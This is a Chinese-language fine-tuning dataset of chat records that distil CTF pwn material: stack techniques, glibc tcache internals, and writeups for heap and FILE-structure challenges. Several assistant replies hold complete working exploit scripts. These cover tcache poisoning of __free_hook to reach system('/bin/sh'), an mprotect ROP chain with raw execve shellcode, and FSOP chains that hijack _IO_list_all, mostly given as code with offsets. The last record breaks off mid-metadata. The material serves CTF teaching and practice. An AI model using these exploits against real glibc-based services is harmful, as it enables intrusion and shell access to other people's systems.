{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c58db9d11e4abe705aaf", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「原理」。\n资料来源：stack.md；主题：栈利用；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 原理\n\nret2text，即通过控制程序执行流执行程序本身已有的代码（.text段），是一种较为广义的描述。在这种攻击方法中，攻击者可以控制程序执行若干不相邻的代码段（即gadgets），这就是我们常说的ROP（Return-Oriented Programming）。\n\n32位程序和64位程序 pwn 中的差别主要体现在调用约定的不同。\n\n调用约定定义了函数调用时参数的传递方式、返回值的传递方式以及调用者和被调用者之间的栈管理。\n\n函数使用什么样的调用约定则由操作系统和编译器决定。", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-bd1371e5aef88a01", "original_line": 608, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "split_group_key": "5d29b793664b20592ba25f84"}, "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c5e1a5aa5616a5f60e96", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「tcache key 绕过」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### tcache key 绕过\n\n自 glibc2.29 版本起 tcache 新增了一个 key 字段，该字段位于 chunk 的 bk 字段，值为 tcache 结构体的地址，若 free() 检测到 `chunk->bk == tcache` 则会遍历 tcache 查找对应链表中是否有该chunk。最新版本的一些老 glibc （如新版2.27等）也引入了该防护机制。\n\n由于 tcache 用的是 fd 字段所在地址，因此可以通过泄露 tcache key 来泄露堆地址。\n\nglibc-2.34 开始，tcache 的 key 不再是 `tcache_pthread_struct` 结构体地址，而是一个随机数 `tcache_key` ，因此不能通过 key 泄露堆地址。\n\n```c\n// glibc-2.33\nstatic __always_inline void\ntcache_put (mchunkptr chunk, size_t tc_idx)\n{\n  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);\n\n  /* Mark this chunk as \"in the tcache\" so the test in _int_free will\n     detect a double free.  */\n  e->key = tcache;\n\n  e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);\n  tcache->entries[tc_idx] = e;\n  ++(tcache->counts[tc_idx]);\n}\n\n// glibc-2.34\nstatic __always_inline void\ntcache_put (mchunkptr chunk, size_t tc_idx)\n{\n  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);\n\n  /* Mark this chunk as \"in the tcache\" so the test in _int_free will\n     detect a double free.  */\n  e->key = tcache_key;\n\n  e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);\n  tcache->entries[tc_idx] = e;\n  ++(tcache->counts[tc_idx]);\n}\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-3dc16c0a4112c670", "original_line": 69, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c690f4c70cfeb4c0730d", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/tcache attack/tcache dup/patch.sh` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/tcache attack/tcache dup/patch.sh`\n\n分类：heap\n\n语言：bash\n\n利用主题关键词：\n- heap/tcache\n\n训练用代码片段：\n```bash\n#!/bin/bash\n\nVERSION=2.27\nLIBC_NAME=libc.so.6\nLD_NAME=ld-linux-x86-64.so.2\n\ngcc pwn.c -o pwn -g\ncp /glibc/${VERSION}/amd64/lib/${LIBC_NAME} .\ncp /glibc/${VERSION}/amd64/lib/${LD_NAME} .\n\nchmod 777 ${LIBC_NAME}\nchmod 777 ${LD_NAME}\n\npatchelf --replace-needed libc.so.6 ./${LIBC_NAME} ./pwn\npatchelf --set-interpreter ./${LD_NAME} ./pwn\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-9fafa2ee07b12634", "original_line": 33, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/tcache dup/patch.sh", "split": "train", "split_group_key": "57d85dc8be2f73c5f03a3f75"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/tcache dup/patch.sh", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c72cdacd353849491f67", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「题目信息」。\n资料来源：Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md；主题：CISCN2024 华南赛区 my_heap Writeup；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 题目信息\n\n附件：\n\n- `my_heap`\n- `libc.so.6`\n- `ld-linux-x86-64.so.2`\n- `exp.py`\n\n保护：\n\n```text\nRELRO:      Full RELRO\nStack:      Canary found\nNX:         NX enabled\nPIE:        PIE enabled\nRUNPATH:    ./\n```\n\n题目使用随题 libc，`libc.so.6` 中关键符号：\n\n```text\nsystem  = 0x50d70\nenviron = 0x222200\n```\n\n不过最终 exp 并没有用 `one_gadget`，而是劫持返回地址到程序自带的 `system(\"/bin/sh\")`。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 34, "ctf_task_type": "pwn", "original_id": "pwn101-doc-5c08b7a6985f1d89", "original_line": 135, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "split_group_key": "29400e37059a22e96fca7e93"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c82e32afc6a43d5c53e9", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「6. malloc 到 environ，泄露 stack」。\n资料来源：Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md；主题：CISCN2024 华南赛区 my_heap Writeup；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 6. malloc 到 environ，泄露 stack\n\n因为前面已经把 `0x20` bin 的 `fd` 改到 `libc.environ`，且 counts 被修正，所以连续申请：\n\n```python\nadd(1, 0x10)\nadd(1, 0x10)\nshow()\n```\n\n第二次申请会返回到 `environ` 附近，`show` 还原后拿到栈地址：\n\n```python\nstack = 0\nfor i in range(6):\n    val = u8(r(1))\n    stack += (val ^ (0x99+i)) * 0x100**i\n\nstack = stack - 0x80 - 8 - 0xa0\n```\n\n这里的减法是根据本地调试计算出的目标返回地址位置，用于后面把返回地址改成 `win+8`。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-a03e6673ef712fe6", "original_line": 142, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "split_group_key": "29400e37059a22e96fca7e93"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c8fc753a304a60f29589", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「保护信息」。\n资料来源：IO-FILE/[CISCN 2022 华东北]duck/WP.md；主题：[CISCN 2022 华东北] duck - Pwn Writeup；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 保护信息\n\n```text\nArch:       amd64-64-little\nRELRO:      Full RELRO\nStack:      Canary found\nNX:         NX enabled\nPIE:        PIE enabled\nSHSTK:      Enabled\nIBT:        Enabled\n```\n\n题目自带 `ld.so` 和 `libc.so.6`，二进制解释器也是 `./ld.so`。libc 中 `_IO_file_jumps` 符号偏移为：\n\n```text\n_IO_file_jumps = libc + 0x1f4560\n```\n\n该符号位于 `__libc_IO_vtables` 段，段属性为 `WA`，所以本题可以通过任意地址分配写它：\n\n```text\n[32] __libc_IO_vtables PROGBITS 00000000001f3960 ... WA\n```\n\n---", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 34, "ctf_task_type": "pwn", "original_id": "pwn101-doc-c8925471ab7f5c68", "original_line": 185, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/[CISCN 2022 华东北]duck/WP.md", "split": "train", "split_group_key": "8a82ea35d8808d6caff7e707"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/[CISCN 2022 华东北]duck/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c91d6e0365252f151548", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/fastbin attack/fastbin-double_free/[HGAME 2023 week2]new_fast_note/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/fastbin attack/fastbin-double_free/[HGAME 2023 week2]new_fast_note/exp.py`\n\n分类：heap\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `add`\n- `cmd`\n- `dbg`\n- `dele`\n- `show`\n\n利用主题关键词：\n- heap/tcache\n\n关键常量/偏移样例：\n`0x690`, `0x1ecb80`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('vuln')\nlibc = ELF('./libc-2.31.so')\nio = process(['./ld-2.31.so',elf.path], env = {'LD_PRELOAD' : libc.path})\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\ndef cmd(i):\n    sla('>', i)\n\ndef add(idx,size, con):\n    cmd('1')\n    sla(': ', str(idx))\n    sla(': ', str(size))\n    sa('Content: ', con)\n\ndef show(idx):\n    cmd('3')\n    sla(': ', str(idx))\n\ndef dele(idx):\n    cmd('2')\n    sla(': ', str(idx))\n\n#通过填满tcache泄露libc\nfor i in range(9):\n    add(i,0x80,b'1')\nfor i in range(8):\n    dele(i)\nshow(7)#在tcache被填满后chunk被释放到了unsortedbin中，这样就可以泄露libc\n\nlibc_base = l64() - 0x1ecb80 - 96\nlg('libc_base', libc_base)\nfree_hook = libc_base + libc.sym['__free_hook']\nsystem = libc_base + libc.sym['system']\n#dbg()\n\n#泄露堆地址\nadd(0,0x20,b'aaaaaaaa')\nadd(1,0x20,b'aaaaaaaa')\ndele(0)\ndele(1)\nshow(1)\n\n#dbg()\n\nheap_base = uu64()-0x690\nlg('heap_base', heap_base)\n\nfor i in range(2,11):\n    add(i,0x20,b'a' * 0x10)\nfor i in range(2,11):\n    dele(i)\ndele(9)\n\nfor i in range(7):\n add(0,0x20,b'a')\n\nadd(1,0x20,p64(free_hook))\nadd(2,0x20,p64(system))\nadd(2,0x20,p64(system))\nadd(2,0x20,p64(system))\n\n#申请一个chunk包含/bin/sh字符串，然后让free释放掉这个chunk之后就可以getshell\nadd(3,0x40,b'/bin/sh\\x00')\ndele(3)\n#dbg()\nia()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-a45be7102e26f1b2", "original_line": 8, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/fastbin attack/fastbin-double_free/[HGAME 2023 week2]new_fast_note/exp.py", "split": "train", "split_group_key": "e54201d7157cbf8e4a300e8c"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/fastbin attack/fastbin-double_free/[HGAME 2023 week2]new_fast_note/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c953f0ca2fe2be174785", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「原理」。\n资料来源：stack.md；主题：栈利用；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 原理\n\nret2reg，即返回到寄存器地址进行攻击，可以绕过地址混淆（ASLR）。\n\n一般用于开启`ASLR`的 ret2shellcode 题型，在函数执行后，传入的参数在栈中传给某寄存器，然而该函数在结束前并未将该寄存器复位，就导致这个寄存器仍还保存着参数，当这个参数是 shellcode 时，只要程序中存在`jmp/call reg`代码片段时，即可通过 gadget 跳转至该寄存器执行 shellcode。\n\n该攻击方法之所以能成功，是因为函数内部实现时，溢出的缓冲区地址通常会加载到某个寄存器上，在后来的运行过程中不会修改。\n\n> 只要在函数`ret`之前将相关寄存器复位掉，便可以避免此漏洞。\n\n**利用思路**：主要在于找到寄存器与缓冲区地址的确定性关系，然后从程序中搜索`call reg/jmp reg`这样的指令\n\n1. 分析和调试程序，查看溢出函数返回时哪个寄存器指向输入缓冲区\n2. 查找`call reg`或`jmp reg`，将指令所在的地址填充到`EIP`位置，即返回地址\n3. 在`reg`指向的空间上注入 shellcode", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-e410c2836384e6de", "original_line": 616, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "split_group_key": "5d29b793664b20592ba25f84"}, "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c9cb2957eddcc3315b71", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「稳定版 exp 示例」。\n资料来源：IO-FILE/[CISCN 2022 华东北]duck/WP.md；主题：[CISCN 2022 华东北] duck - Pwn Writeup；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 稳定版 exp 示例\n\n下面是去掉 `dbg()` 且泄漏读取更明确的版本：\n\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ncontext(os=\"linux\", arch=\"amd64\", log_level=\"info\")\nelf = ELF(\"./pwn\")\nlibc = ELF(\"./libc.so.6\")\nio = process([elf.path])\n\nmenu = b\"Choice: \"\n\ndef add():\n    io.sendlineafter(menu, b\"1\")\n\ndef dele(idx):\n    io.sendlineafter(menu, b\"2\")\n    io.sendlineafter(b\"Idx:\", str(idx).encode())\n\ndef show(idx):\n    io.sendlineafter(menu, b\"3\")\n    io.sendlineafter(b\"Idx:\", str(idx).encode())\n\ndef edit(idx, size, data):\n    io.sendlineafter(menu, b\"4\")\n    io.sendlineafter(b\"Idx:\", str(idx).encode())\n    io.sendlineafter(b\"Size:\", str(size).encode())\n    io.sendafter(b\"Content:\", data)\n\ndef leak_after_show():\n    io.recvline()          # prompt: puts(\"Idx: \") leaves a newline\n    return io.recvline().strip()", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-0035e801ca3abbda", "original_line": 178, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/[CISCN 2022 华东北]duck/WP.md", "split": "train", "split_group_key": "8a82ea35d8808d6caff7e707"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/[CISCN 2022 华东北]duck/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ca886e1a5764ae9a3de0", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2shellcode/mprotect_bypass_NX/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2shellcode/mprotect_bypass_NX/exp.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwncli import *`\n\n利用主题关键词：\n- io-file/fsop\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x100`, `0x1000`, `0x0804951d`, `0x080Ec000`\n\n训练用代码片段：\n```python\n#!/usr/bin/python3\nfrom pwncli import *\n\ncli_script()\n\npwnfile=\"./get_started_3dsctf_2016\"\nio=gift[\"io\"]\nelf=gift[\"elf\"]\ncontext.arch=\"i386\"\nmprotect_addr=elf.sym.mprotect\nread=elf.sym.read\n\nmem_addr=0x080Ec000\nmem_size=0x1000\nmem_proc=0x7\npop_addr=0x0804951d\n\npayload=b\"A\"*0x38+p32(mprotect_addr)\npayload+=p32(pop_addr)\npayload+=p32(mem_addr)+p32(mem_size)+p32(mem_proc)\n\npayload+=p32(read)\npayload+=p32(pop_addr)\npayload+=p32(0)+p32(mem_addr)+p32(0x100)\npayload+=p32(mem_addr)\n\nsl(payload)\n\n#pay=(shellcraft.sh())\npay=\"\\x6a\\x0b\\x58\\x99\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\\xc9\\xcd\\x80\"\nsl(pay)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-66c6c5e1f46e52e0", "original_line": 547, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2shellcode/mprotect_bypass_NX/exp.py", "split": "train", "split_group_key": "6d521ca44e7066f2481a3035"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2shellcode/mprotect_bypass_NX/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-caae0f1dc9fb3e5f6a59", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「总结」。\n资料来源：IO-FILE/house of apple2/2024pcb babyheap/WP.md；主题：2024PCB babyheap WP；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 总结\n\n本题漏洞点很小，但全局变量布局非常适合 House of Apple2：\n\n1. `show/delete/edit` 均允许负索引；\n2. `book[-6].ptr` 正好落到 `stdout` copy relocation；\n3. `edit` 虽然只有一次，但可以写 `0x400` 字节到 `_IO_2_1_stdout_`；\n4. 通过 unsorted bin 泄漏 libc 后伪造 stdout FILE；\n5. 菜单再次输出时触发 FSOP 调用 `system(\"  sh;\")`，拿到 shell。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-514a9738bf688efd", "original_line": 193, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024pcb babyheap/WP.md", "split": "train", "split_group_key": "fe49aac94cc72bab9c75b731"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024pcb babyheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-cad3c3a6c634e52e0ed4", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/2024ylb-ezheap/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/2024ylb-ezheap/exp.py`\n\n分类：heap\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n- `import os`\n\n函数/封装：\n- `add`\n- `delete`\n- `edit`\n- `show`\n- `start`\n\n利用主题关键词：\n- heap/tcache\n- seccomp/orw\n\n关键常量/偏移样例：\n`0x100`, `0x500`, `0x510`, `0x1EC280`, `0x1ecbe0`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\nimport os\n\nelf = ELF('./pwn')\nlibc = ELF('./libc-2.31.so')\ncontext(os=elf.os, arch=elf.arch, log_level='info')\n\nld_path = '/tools/binary/glibc-all-in-one/libs/2.31/64/ld-2.31.so'\n\n\ndef start():\n    if args.REMOTE:\n        host = args.HOST or 'TARGET_IP'\n        port = int(args.PORT or 9999)\n        return remote(host, port)\n    # Do not use env={\"LD_PRELOAD\": ...}: system('/bin/sh') would inherit it,\n    # and the spawned host shell can fail with the old challenge libc.\n    # ld.so --preload affects only this exec, so the final shell is clean.\n    if os.path.exists(ld_path):\n        return process([ld_path, '--preload', './libc-2.31.so', elf.path])\n    return process([elf.path], env={'LD_PRELOAD': './libc-2.31.so'})\n\n\nio = start()\n\nmenu = b'Input your choice'\n\n\ndef add(size, content):\n    io.sendlineafter(menu, b'1')\n    io.sendlineafter(b'Size :', str(size).encode())\n    io.sendafter(b'Content :', content)\n\n\ndef delete(idx):\n    io.sendlineafter(menu, b'2')\n    io.sendlineafter(b'Index :', str(idx).encode())\n\n\ndef edit(content):\n    io.sendlineafter(menu, b'3')\n    io.sendafter(b'content :', content)\n\n\ndef show(idx):\n    io.sendlineafter(menu, b'4')\n    io.sendlineafter(b'Index :', str(idx).encode())\n\n\n# Layout chunks. add() always uses the monotonically increasing chunk_index,\n# so reallocating a freed chunk can leave old heap metadata after a short read.\nadd(0x500, b'a')              # 0\nadd(0x500, b'/bin/sh\\x00')    # 1, argument for system()\nadd(0x500, b'a')              # 2, freed for unsorted-bin leak\nadd(0x500, b'a')              # 3\nadd(0x100, b'a')              # 4, guard/top separation\n\n# Leak libc from the reused unsorted-bin chunk.\ndelete(2)\nadd(0x500, b'a' * 8)          # 5 overlaps stale ptr[2]\nshow(5)\nio.recvuntil(b'a' * 8)\nleak = u64(io.recvn(6).ljust(8, b'\\x00'))\nlibc_base = leak - 0x1ecbe0   # unsorted-bin fd = main_arena+0x60 for ./libc-2.31.so\nfree_hook = libc_base + libc.sym['__free_hook']\nsystem = libc_base + libc.sym['system']\nmp_ = libc_base + 0x1EC280 + 0x50\n\nlog.success(f'leak      = {hex(leak)}')\nlog.success(f'libc_base = {hex(libc_base)}')\nlog.success(f'__free_hook = {hex(free_hook)}')\nlog.success(f'system    = {hex(system)}')\n\n# After enlarging mp_.tcache_bins, size 0x510 can use an out-of-bounds\n# tcache bin. Poison that OOB tcache entry to return __free_hook, then write system.\nedit(p64(mp_))\ndelete(3)\ndelete(0)\nadd(0x500, p64(0) * 13 + p64(free_hook))\nadd(0x500, p64(system))\n\n# free('/bin/sh') -> system('/bin/sh')\ndelete(1)\nio.sendline(b'cat flag 2>/dev/null || cat /flag 2>/dev/null || true')\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-746c092440420713", "original_line": 2, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/2024ylb-ezheap/exp.py", "split": "train", "split_group_key": "2adb178db8f0439e06ee2139"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/2024ylb-ezheap/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-cc2a5ee6128d009c4d1d", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「利用思路」。\n资料来源：IO-FILE/2025hgame hit list/WP.md；主题：2025 HGame - Hit list Writeup；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 利用思路\n\n最终目标是利用 glibc 2.35 的 FSOP，在 `exit()` 时劫持 `_IO_list_all` 链表，让 `_IO_flush_all_lockp` 处理伪造的 `FILE` 结构，间接调用：\n\n```c\nsystem(\"/bin/sh\")\n```\n\nexp 中使用的关键偏移：\n\n```python\nLIBC_LEAK_OFFSET = 0x21AD30\nIO_OBSTACK_JUMPS = 0x2173C0\n```\n\n并从 libc 中解析：\n\n```python\nio_list_all = libc.sym['_IO_list_all']\nsystem_addr = libc.sym['system']\nbin_sh = next(libc.search(b'/bin/sh\\x00'))\n```\n\n本题利用路径：\n\n```text\n泄露 libc + heap\n    ↓\n计算 _IO_list_all、system、/bin/sh、heap_base\n    ↓\n任意 free 一个可控 victim chunk\n    ↓\n伪造 0x100 tcache fd，目标指向 _IO_list_all + 0x70\n    ↓\n通过 malloc 取到 _IO_list_all 附近的 chunk\n    ↓\n写入 fake FILE 指针\n    ↓\n选择 Exit，触发 FSOP，调用 system('/bin/sh')\n```\n\n---", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-be8816d4d75ae762", "original_line": 172, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/2025hgame hit list/WP.md", "split": "train", "split_group_key": "510c80802c5c6c353196ef42"}, "source_dataset": "pwn101_distilled_v1", "source_path": 